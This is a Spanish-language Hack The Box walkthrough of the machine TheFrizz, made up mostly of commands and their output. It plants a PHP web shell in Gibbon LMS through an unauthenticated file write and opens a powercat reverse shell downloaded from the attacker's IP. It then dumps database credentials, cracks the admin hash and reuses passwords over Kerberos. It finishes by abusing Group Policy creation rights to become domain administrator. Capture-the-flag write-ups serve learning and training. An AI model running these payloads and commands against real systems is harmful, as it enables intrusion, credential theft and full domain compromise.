Descripción️
TheFrizz es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Vulnerabilidad de inclusión de archivo local en Gibbon LMS permitiendo la lectura de archivos de la aplicación
- Escritura de archivos arbitrarios en Gibbon LMS permitiendo la ejecución de comandos remotos
- Rotura del hash personalizado de la contraseña del administrador de Gibbon LMS️
- Reutilización de la contraseña e inicio de sesión utilizando un ticket Kerberos
- Escalada de privilegios mediante el abuso del privilegio de crear objetos de política de grupo
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.245.150.
$ ping -c 3 10.129.245.150
PING 10.129.245.150 (10.129.245.150) 56(84) bytes of data.
64 bytes from 10.129.245.150: icmp_seq=1 ttl=127 time=51.4 ms
64 bytes from 10.129.245.150: icmp_seq=2 ttl=127 time=50.0 ms
64 bytes from 10.129.245.150: icmp_seq=3 ttl=127 time=50.6 ms
--- 10.129.245.150 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 50.003/50.660/51.358/0.553 ms
La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.245.150 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.245.150
Host is up (0.055s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds
Obtenemos muchos puertos abiertos, relacionados con un entorno Active Directory.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.245.150 -Pn -sV -sC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.245.150
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h01m02s
| smb2-time:
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.52 seconds
Obtenemos los servicios relacionados con un Directorio Activo, específicamente el Controlador de Dominio frizzdc.frizz.htb. Agregamos los host a nuestro archivo local /etc/hosts.️
$ echo "10.129.245.150 frizzdc.frizz.htb frizz.htb" | sudo tee -a /etc/hosts
Antes de más enumeración, vamos a sincronizar el tiempo y la fecha del nuestro sistema con el sistema remoto.️
sudo timedatectl set-ntp off
sudo rdate -n frizz.htb
En el servicio HTTP encontramos la página del “Colegio Primario Walkerville”. Podemos hacer clic en el botón Staff Login y se mostrará un cuadro de inicio de sesión para nosotros. Se redirige a la aplicación web Gibbon v25.0.00 en la carpeta Gibbon-LMS. Gibbon es un sistema de gestión del aprendizaje.️

Explotación️
Gibbon v25.0.0 es vulnerable a una inclusión de archivos locales (LFI) donde es posible incluir el contenido de varios archivos presentes en la carpeta de instalación, CVE-2023-34598. Gibbon versión 25.0.1 y previas permite escritura arbitraria de archivos porque rubrics_visualise_saveAjax.phps no requiere autenticación, CVE-2023-45878. Tenemos un ejemplo de concepto de la vulnerabilidad LFI en Github, compartido por maddsec. Podemos manipular el parámetro q para obtener el archivo local. Vamos a recuperar el archivo gibbon.sql (contenido en el paquete de instalación) para verificar cambios. El contenido del archivo es el mismo que el predeterminado pero solo hay un cambio.️
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql'
...
(00008, 'System', 'indexText', 'Index Page Text', 'Text displayed in system\'s welcome page.', '*NOTICE** Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos.'),
...
Encontramos un mensaje que se muestra cuando se abre la consola de administración, el administrador del sistema Fiona Frizzle está migrando la aplicación para utilizar Azure Active Directory SSO o Kerberos. El nombre de usuario de Fiona podría ser f.frizzle. Ahora vamos a movernos a la vulnerabilidad de lectura arbitraria de archivos con un ejemplo de concepto de prueba proveniente de usd HeroLab. El módulo Rubrics tiene un archivo rubrics_visualise_saveAjax.php que se puede acceder sin autenticación.️
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'
El archivo acepta los parámetros img, path y gibbonPersonID como parámetros de POST. La siguiente solicitud escribirá el payload <?php echo system($_GET['cmd'])?> en el archivo wcmd.php.️
$ curl -d 'img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=wcmd.php&gibbonPersonID=0000000001' 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'
Ahora podemos verificar la ejecución del comando:️
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=whoami' frizz\w.webservice
Está funcionando. La aplicación web se está ejecutando con el usuario w.webservice. Vamos a crear una consola reversa utilizando el script powercat.ps1. Comenzamos a escuchar por un puerto.️
$ nc -nvlp 1234
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=powershell+certutil+-urlcache+-f+http:%2F%2F10.10.14.54%2Fpowercat.ps1+powercat.ps1'
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=powershell+".+.%5Cpowercat.ps1;+powercat+-c+10.10.14.54+-p+1234+-e+powershell"'
Obtenemos la sesión como usuario del servidor web. Encontramos usuarios en el sistema, incluyendo f.frizzle.️
$ nc -nvlp 1234 listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.245.150] 52002
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
...
PS C:\xampp\htdocs\Gibbon-LMS> whoami
frizz\w.webservice
PS C:\xampp\htdocs\Gibbon-LMS> net user
User accounts for \\FRIZZDC
-------------------------------------------------------------------------------
a.perlstein Administrator c.ramon
c.sandiego d.hudson f.frizzle
g.frizzle Guest h.arm
J.perlstein k.franklin krbtgt
l.awesome m.ramon M.SchoolBus
p.terese r.tennelli t.wright
v.frizzle w.li w.Webservice
The command completed successfully.
Estamos en la carpeta C:\xampp\htdocs\Gibbon-LMS, la raíz de la aplicación web Gibbon. Encontramos las credenciales del motor de bases de datos MySQL en el archivo config.php.️
PS C:\xampp\htdocs\Gibbon-LMS> type config.php
type config.php
<?php
...
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
...
Para la base de datos gibbon, encontramos el usuario MrGibbonsDB y la contraseña MisterGibbs!Parrot!?1. Al revisar el archivo gibbon.sql encontramos que los datos sobre los usuarios registrados se encuentran en la tabla gibbonPerson. Vamos a exportar el contenido de la tabla utilizando la herramienta binaria instalada mysql.exe, ubicada en la carpeta C:\xampp\mysql\bin\.️
C:\xampp\htdocs\Gibbon-LMS>c:\xampp\mysql\bin\mysql.exe -h 127.0.0.1 -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "select * from gibbonPerson" gibbon
gibbonPersonID title surname firstName preferredName officialName nameInCharacters gender username passwordStrong passwordStrongSalt passwordForceReset status canLogin gibbonRoleIDPrimary gibbonRoleIDAll dob email
...
0000000001 Ms. Frizzle Fiona Fiona Fiona Frizzle Unspecified f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489 N Full Y 001 001 NULL f.frizzle@frizz.htb NULL NULL ::1 2024-10-29 09:28:59 NULL NULL 0 ...
Obtenemos la contraseña cifrada 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 y la sal /aACFhikmNopqrRTVz2489 para el usuario f.frizzle@frizz.htb. Necesitamos descifrar la contraseña para verificar si se reutiliza en la cuenta de Windows. En el hilo de reinicio de contraseña del administrador encontramos que la contraseña se genera con la siguiente consulta SQL:️
UPDATE gibbonPerson
SET passwordStrong=SHA2(CONCAT(@salt:=SUBSTRING(MD5(RAND()), 1, 22), “yourNewPassword”), 256), passwordStrongSalt=@salt
WHERE gibbonPerson.gibbonPersonID=1;`
La sal (/aACFhikmNopqrRTVz2489) se concatena con la contraseña original y luego se crea un hash SHA256. Podemos romper el hash utilizando John The Ripper y el siguiente formato de hash: $dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489. El formato personalizado es dynamic_61, o sha256($s.$p).️
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (hMailServer [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
Jenni_Luvs_Magic23 (?)
1g 0:00:00:01 DONE 0.8064g/s 8887Kp/s 8887Kc/s 8887KC/s Jesus14jrj..Jeepers93
Use the "--show --format=hMailServer" options to display all of the cracked passwords reliably
Session completed.
Encontramos que la contraseña para el usuario f.frizzle es Jenni_Luvs_Magic23. Vamos a regresar al panel de control web e iniciar sesión.️
Somos capaces de iniciar sesión y encontrar mensajes en el Message Wall al cual podemos acceder haciendo clic en el ícono de conversación.️
En el segundo mensaje encontramos que se permite el acceso a la máquina utilizando Enter-PSSession. Antes de eso, había una mención a Kerberos. Por lo tanto, podemos intentar iniciar sesión en la máquina utilizando la herramienta evil-winrm y un TGT (Servicio Asignación de Tickets). Comenzamos agregando el KDC al realm en el archivo /etc/krb5.conf (con el siguiente contenido).️
[realms]
FRIZZ.HTB = {
kdc = "frizzdc.frizz.htb"
}
Entonces generamos el TGT con la herramienta impacket-GetTGT.️
$ impacket-getTGT frizz.htb/f.frizzle:Jenni_Luvs_Magic23
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in f.frizzle.ccache
El ticket de Kerberos se almacena en el archivo f.frizzle.ccache, por lo tanto después de eso, exportamos la variable KRB5CCNAME con la ruta del archivo.️
$ export KRB5CCNAME=./f.frizzle.ccache
Luego podemos conectarnos a la máquina utilizando herramientas como evil-winrm o ssh.️
$ evil-winrm -i frizzdc.frizz.htb -r frizz.htb
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> whoami
frizz\f.frizzle
Estamos conectados con éxito como el usuario f.frizzle.️
Post-Explotación️
Enumerando los archivos del sistema encontramos dos archivos .7z en la papelera de reciclaje, $IE2XMEG.7z y $RE2XMEG.7z, los descargamos.️
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> Get-ChildItem -Hidden 'C:\$RECYCLE.BIN'
Directory: C:\$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> Get-ChildItem 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103'
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a---- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> xcopy 'C:\$recycle.bin\S-1-5-21-2386970044-1145388522-2932701813-1103\*' .
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> move '$IE2XMEG.7z' 'IE2XMEG.7z'
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> move '$RE2XMEG.7z' 'RE2XMEG.7z'
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> download IE2XMEG.7z
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> download RE2XMEG.7z
En el archivo $RE2XMEG.7z se encuentra un archivo con una copia de respaldo de la instalación de WAPT, una herramienta utilizada para actualizar las configuraciones del sistema operativo.️
$ 7z x RE2XMEG.7z
$ ls -1 wapt
auth_module_ad.py
cache
common.py
conf
conf.d
COPYING.txt
...
Encontramos la archivo de configuración del aplicativo en el archivo wapt/conf/waptserver.ini.️
$ cat wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
Encontramos una contraseña codificada con Base64 en el campo wapt_password, que es IXN1QmNpZ0BNZWhUZWQhUgo=, por lo tanto !suBcig@MehTed!R. Después de verificar con los usuarios, encontramos que esta es la contraseña del usuario M.SchoolBus.️
$ impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in M.SchoolBus.ccache
Iniciamos sesión de nuevo.️
$ export KRB5CCNAME=./M.SchoolBus.ccache
$ evil-winrm -i frizzdc.frizz.htb -r frizz.htb
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> whoami
frizz\m.schoolbus
Vamos a utilizar el script SharpHound y luego BloodHound para extraer información sobre el dominio.️
$ cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 .
$ python -m http.server 80
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> iwr http://10.10.14.54/SharpHound.ps1 -o SharpHound.ps1
. .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\M.SchoolBus\Documents\
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> download BloodHound.zip
Encontramos que v.frizzle es el Administrador del Dominio.️
Encontramos que m.schoolbus pertenece al grupo de administración de escritorio Desktop Admins.️
El grupo Desktop Admins es miembro del grupo Group Policy Creator Owners.️
Por lo que m.schoolbus tiene la capacidad de crear nuevos objetos de política de grupo (GPOs), esto puede ser abusado para crear un nuevo GPO, enlazarlo a la unidad organizativa principal (OU) y luego agregar cualquier usuario al grupo Administrators. La unidad organizativa principal del dominio es Domain Controllers según la estructura de la unidad de mapeo.️
Descargamos la versión binaria de SharpGPOAbuse en la máquina, lo que nos permitirá crear una nueva política para agregar al usuario al grupo Administradores.️
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> iwr http://10.10.14.54/SharpGPOAbuse.exe -o SharpGPOAbuse.exe
Luego creamos la nueva GPO y la vinculamos a la OU de Domain Controllers.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
Luego agregamos M.SchoolBus al grupo de administradores.️
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "Evil GPO"
Finalmente necesitamos actualizar el GPO para todos los usuarios con la herramienta gpoupdate.️
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> gpupdate /force
Encontramos que ahora formamos parte del grupo de Administradores.️
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
Administrator
M.SchoolBus
The command completed successfully.
Ahora podemos cerrar y volver a abrir la sesión para tener los privilegios.️
Flags
Con la sesión del administrador local podemos obtener las flags user y root.️
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> type c:\users\f.frizzle\desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> type c:\users\administrator\desktop\root.txt
<REDACTED>